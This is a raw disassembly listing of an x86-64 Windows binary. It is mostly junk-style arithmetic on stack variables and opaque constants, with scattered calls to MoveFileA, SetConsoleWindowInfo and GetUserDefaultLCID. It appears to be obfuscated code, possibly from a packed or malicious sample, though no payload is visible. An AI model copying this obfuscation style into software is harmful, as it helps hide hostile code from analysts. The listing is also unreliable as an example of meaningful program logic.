mov eax, dword [rsp + 0x1e838]
shl eax, cl
mov dword [rsp + 0x26148], eax
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
or ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
add rax, qword [rsp + 0x6598]
mov qword [0x1402412c8], rax
movzx edx, byte [rsp + 0x65c8]
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1522c], al
mov rcx, qword [rsp + 0xe1e0]
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rax, qword [0x1402412c8]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x68c8]
mov eax, dword [rsp + 0x258a4]
sub eax, ecx
mov dword [rsp + 0x11234], eax
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
and ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rax, qword [0x140244ef8]
shr rax, 0x1a
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x29528]
or rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9808]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x1522c]
sub ecx, eax
mov rax, qword [rsp + 0x105d0]
mov byte [rax], cl
mov rcx, qword [rsp + 0x8f38]
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x5b28]
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x26148], eax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x67d0]
sub ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0xdb98]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x11564], ax
movsx ecx, byte [rsp + 0x18b28]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x65c8]
movzx eax, byte [rsp + 0x1522c]
sub ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
movzx ecx, word [rsp + 0x13120]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
mov rax, qword [rsp + 0x16938]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x23568]
add ecx, dword [rax]
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov eax, dword [rsp + 0x7924]
sub eax, 0x4b
mov dword [rsp + 0x7924], eax
mov rcx, qword [rsp + 0x29528]
mov rax, qword [rsp + 0x6598]
add rax, rcx
mov qword [rsp + 0x21d38], rax
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x68c8]
sub eax, ecx
mov dword [rsp + 0x258a4], eax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26148]
or ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0x29a80]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x1a870]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x1522c], al
jmp 0x14005d7ca
lea rax, [rsp + 0x11564]
mov qword [rsp + 0x16b98], rax
cmp dword [rsp + 0x1c4c], 0xceee
ja 0x14005e096
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1402412c8], rax
mov rax, qword [rsp + 0x12e08]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x29a80]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6598]
sub rax, rcx
mov qword [rsp + 0x29528], rax
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x11234]
add eax, ecx
mov dword [rsp + 0x1c058], eax
mov rax, qword [rsp + 0x5b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x225f8]
and ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
mov eax, dword [rsp + 0x11234]
mov ecx, dword [rsp + 0x258a4]
add ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
movsx edx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x8218]
add ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movzx eax, word [rsp + 0x8218]
movzx ecx, word [rsp + 0x67d0]
add eax, ecx
mov word [rsp + 0x13120], ax
movzx ecx, byte [rsp + 0x1522c]
movzx eax, byte [rsp + 0x65c8]
sub ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
movsx edx, word [rsp + 0x11564]
movsx eax, word [rsp + 0x1f220]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rcx, qword [rsp + 0x5b28]
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov eax, dword [rsp + 0x1e838]
movzx ecx, al
mov eax, dword [rsp + 0x225f8]
shr eax, cl
mov dword [rsp + 0x26148], eax
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x29528]
or rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x7010]
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
movsx edx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movabs rcx, 0xbbd7f7da340fca7
mov rax, qword [0x140244ef8]
sub rax, rcx
mov qword [0x140244ef8], rax
mov rax, qword [rsp + 0x29a80]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x1522c]
and ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov rcx, qword [rsp + 0x19120]
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [rsp + 0xe1e0]
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x225f8], eax
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x19120]
add rcx, qword [rax]
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x11234]
mov eax, dword [rsp + 0x68c8]
add eax, ecx
mov dword [rsp + 0x258a4], eax
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0xf250], al
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x67d0], ax
mov eax, dword [rsp + 0x1c4c]
add eax, 0xb8
mov dword [rsp + 0x1c4c], eax
mov rax, qword [rsp + 0x264f8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f220]
or eax, ecx
mov word [rsp + 0x11564], ax
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
and ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x23188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x21d38]
sub rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x225f8]
add ecx, eax
mov rax, qword [rsp + 0xe1e0]
mov dword [rax], ecx
mov eax, dword [rsp + 0x15368]
mov ecx, dword [rsp + 0x11234]
sub ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6598]
sub rax, rcx
mov qword [rsp + 0x29528], rax
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
movzx edx, word [rsp + 0x13120]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x67d0], ax
movsx ecx, word [rsp + 0x11564]
movsx eax, word [rsp + 0x1f220]
sub ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65c8]
add eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0xf250]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
movzx eax, word [rsp + 0x13120]
movzx ecx, word [rsp + 0x67d0]
xor eax, ecx
mov word [rsp + 0x8218], ax
mov rax, qword [rsp + 0x7010]
mov eax, dword [rax]
mov dword [rsp + 0x15368], eax
mov eax, dword [rsp + 0x1e838]
movzx ecx, al
mov eax, dword [rsp + 0x26148]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x19120]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x29528]
sar rax, cl
mov qword [rsp + 0x6598], rax
jmp 0x14005db7b
mov rax, qword [rsp + 0x29a80]
movzx eax, byte [rax]
mov byte [rsp + 0x9ad8], al
mov dword [rsp + 0x1ff14], 0x2ae2
mov dword [rsp + 0x205c8], 0xaed9
cmp dword [rsp + 0x1a5f8], 0x1bff
jae 0x14005e508
movzx eax, byte [rsp + 0x1522c]
movzx ecx, byte [rsp + 0x9ad8]
or eax, ecx
mov byte [rsp + 0x65c8], al
movzx ecx, word [rsp + 0x67d0]
movzx eax, word [rsp + 0x8218]
and ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
movsx ecx, word [rsp + 0x11564]
movsx eax, word [rsp + 0x1f220]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
sub ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movzx eax, word [rsp + 0x67d0]
movzx ecx, word [rsp + 0x13120]
add eax, ecx
mov word [rsp + 0x8218], ax
mov rax, qword [rsp + 0x29528]
mov rcx, qword [rsp + 0x6598]
sub rcx, rax
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rsp + 0x68c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x258a4], eax
mov ecx, dword [rsp + 0x68c8]
mov eax, dword [rsp + 0x258a4]
sub eax, ecx
mov dword [rsp + 0x1c058], eax
mov eax, dword [rsp + 0x1a5f8]
add eax, 0x24
mov dword [rsp + 0x1a5f8], eax
mov rcx, qword [rsp + 0x23568]
mov eax, dword [rsp + 0x1e838]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf250]
add eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x12e08]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x29a80]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12e08]
mov byte [rax], cl
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x23188]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1402412c8], rax
movsx ecx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x3588]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x1522c]
movzx eax, byte [rsp + 0x9ad8]
sub ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rsp + 0x1e838]
and ecx, eax
mov rax, qword [rsp + 0x16938]
mov dword [rax], ecx
mov rax, qword [rsp + 0x7010]
mov ecx, dword [rax]
mov rax, qword [rsp + 0xe198]
add ecx, dword [rax]
mov rax, qword [rsp + 0x20e58]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9750]
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x29528], rax
movsx ecx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x14a80]
mov word [rax], cx
movzx ecx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1a870]
mov byte [rax], cl
mov rax, qword [rsp + 0x1c578]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x67d0]
add ecx, eax
mov rax, qword [rsp + 0x1c578]
mov word [rax], cx
movabs rcx, 0x49ea44bbe62c5e41
mov rax, qword [0x140244ef8]
add rax, rcx
mov qword [0x140244ef8], rax
movsx edx, word [rsp + 0x1f220]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0x19120]
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6598], rax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68c8]
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x8f38]
mov dword [rax], ecx
mov rax, qword [rsp + 0x2a0d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9ad8]
or eax, ecx
mov byte [rsp + 0x1522c], al
mov rax, qword [rsp + 0x5b28]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x23568]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1e838], eax
movzx ecx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0xdb98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x65c8]
add ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x9750]
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1402412c8], rax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6598]
sub rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov eax, dword [rsp + 0x11234]
mov ecx, dword [rsp + 0x258a4]
sub ecx, eax
mov rax, qword [rsp + 0xe198]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x23188]
add rcx, qword [rax]
mov rax, qword [rsp + 0x9750]
mov qword [rax], rcx
jmp 0x14005e0be
mov al, byte [rsp + 0x18b28]
mov byte [rsp + 0x2d404], al
cmp byte [rsp + 0x2d404], 0x4a
je 0x14005e522
jmp 0x14005e542
lea rdx, str.Jammed_rhymeBurrow
lea rcx, str.saberhinnies
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [rsp + 0x2342c], eax
jmp 0x1402027d3
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x3588]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x1f660]
movzx edx, word [rax]
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x8218], ax
mov rax, qword [rsp + 0x2a0d8]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x29a80]
mov byte [rax], cl
mov rax, qword [rsp + 0x14a80]
movsx edx, word [rax]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0xe8a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0xe8a0]
mov word [rax], cx
mov rdx, qword [rsp + 0x7010]
mov rax, qword [rsp + 0x20e58]
mov ecx, dword [rax]
mov eax, dword [rdx]
xor eax, ecx
mov dword [rsp + 0x258a4], eax
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x14a80]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x1f220], ax
mov rax, qword [rsp + 0xe1e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e838]
and ecx, eax
mov rax, qword [rsp + 0x23568]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x19120]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x6598]
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
mov eax, dword [rsp + 0xfeac]
add eax, 0x80
mov dword [rsp + 0xfeac], eax
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
movzx ecx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
movzx eax, byte [rsp + 0x9ad8]
movzx ecx, byte [rsp + 0x65c8]
sub eax, ecx
mov byte [rsp + 0x1522c], al
movsx ecx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x16b98]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0x1c578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x67d0]
sub eax, ecx
mov word [rsp + 0x8218], ax
movsx ecx, byte [rsp + 0xf250]
movsx eax, byte [rsp + 0x18b28]
sub ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x23188]
add rcx, qword [rax]
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x5b28]
mov rax, qword [rsp + 0x16938]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x11234]
or eax, ecx
mov dword [rsp + 0x15368], eax
mov rax, qword [rsp + 0x3588]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x264f8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x18b28], al
cmp dword [rsp + 0xfeac], 0x884d
jne 0x14005e542
mov rax, qword [rsp + 0x3588]
mov al, byte [rax]
mov byte [rsp + 0x2d408], al
cmp byte [rsp + 0x2d408], 0x45
je 0x14005e7df
jmp 0x14005e8da
lea r8, [rsp + 0x1f660]
mov edx, 1
mov rcx, qword [rsp + 0xe40]
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rsp + 0x24af8], eax
mov rcx, qword [rsp + 0x23188]
mov rax, qword [rsp + 0x9750]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rax, qword [0x140244ef8]
mov qword [rsp + 0x2d410], rax
movabs rax, 0xee3802905f2d328f
cmp qword [rsp + 0x2d410], rax
je 0x14005e84a
jmp 0x14005e874
mov rax, qword [rsp + 0x14a80]
movsx edx, word [rax]
mov rax, qword [rsp + 0x186d8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xdb98]
mov word [rax], cx
mov rax, qword [rsp + 0x8f38]
mov ecx, dword [rsp + 0x258a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c058], eax
mov eax, dword [rsp + 0x26148]
mov ecx, dword [rsp + 0x225f8]
or ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
movzx edx, word [rsp + 0x8218]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x67d0], ax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov word [rsp + 0x8218], ax
jmp 0x140202668
cmp dword [rsp + 0x205c8], 0xb221
jae 0x14005ee75
movzx edx, byte [rsp + 0x1522c]
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
movabs rcx, 0x29633f0d83f71ce4
mov rax, qword [0x140244ef8]
and rax, rcx
mov qword [0x140244ef8], rax
movsx edx, byte [rsp + 0xf250]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x18b28], al
mov rax, qword [rsp + 0x8f38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe198]
add eax, dword [rcx]
mov dword [rsp + 0x68c8], eax
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [rsp + 0x21d38], rax
movzx ecx, byte [rsp + 0x9ad8]
movzx eax, byte [rsp + 0x65c8]
sub ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
mov ecx, dword [rsp + 0x26148]
mov eax, dword [rsp + 0x1e838]
add eax, ecx
mov dword [rsp + 0x225f8], eax
mov rax, qword [rsp + 0x105d0]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x1a870]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
mov rax, qword [rsp + 0x186d8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x14a80]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x11564], ax
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8218]
add eax, ecx
mov word [rsp + 0x13120], ax
mov rcx, qword [rsp + 0x9750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6598]
sub rax, rcx
mov qword [0x1402412c8], rax
movzx ecx, word [rsp + 0x67d0]
mov rax, qword [rsp + 0xe8a0]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x1f660]
mov word [rax], cx
mov eax, dword [rsp + 0x15368]
movzx ecx, al
mov eax, dword [rsp + 0x11234]
sar eax, cl
mov dword [rsp + 0x1c058], eax
mov ecx, dword [rsp + 0x1e838]
mov eax, dword [rsp + 0x26148]
xor eax, ecx
mov dword [rsp + 0x225f8], eax
mov eax, dword [rsp + 0x68c8]
movzx ecx, al
mov eax, dword [rsp + 0x11234]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
mov rax, qword [0x1402412c8]
mov rcx, qword [rsp + 0x6598]
and rcx, rax
mov rax, qword [rsp + 0x23188]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x65c8]
movzx eax, byte [rsp + 0x1522c]
sub ecx, eax
mov rax, qword [rsp + 0x9808]
mov byte [rax], cl
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x3588]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x264f8]
mov byte [rax], cl
mov rax, qword [rsp + 0xe8a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x1f660]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x67d0], ax
movsx edx, word [rsp + 0x11564]
mov rax, qword [rsp + 0x186d8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x1f220], ax
movsx ecx, word [rsp + 0x1f220]
movsx eax, word [rsp + 0x11564]
sub ecx, eax
mov rax, qword [rsp + 0x186d8]
mov word [rax], cx
mov rax, qword [rsp + 0xe198]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x8f38]
add ecx, dword [rax]
mov rax, qword [rsp + 0x7010]
mov dword [rax], ecx
movsx edx, byte [rsp + 0x18b28]
mov rax, qword [rsp + 0x264f8]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0xf250], al
mov rax, qword [rsp + 0x6598]
mov rcx, qword [rsp + 0x29528]
sub rcx, rax
mov rax, qword [rsp + 0x19120]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xe1e0]
mov eax, dword [rsp + 0x225f8]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x5b28]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0x1522c]
movzx eax, byte [rsp + 0x9ad8]
or ecx, eax
mov rax, qword [rsp + 0x2a0d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x264f8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x18b28]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0xf250], al
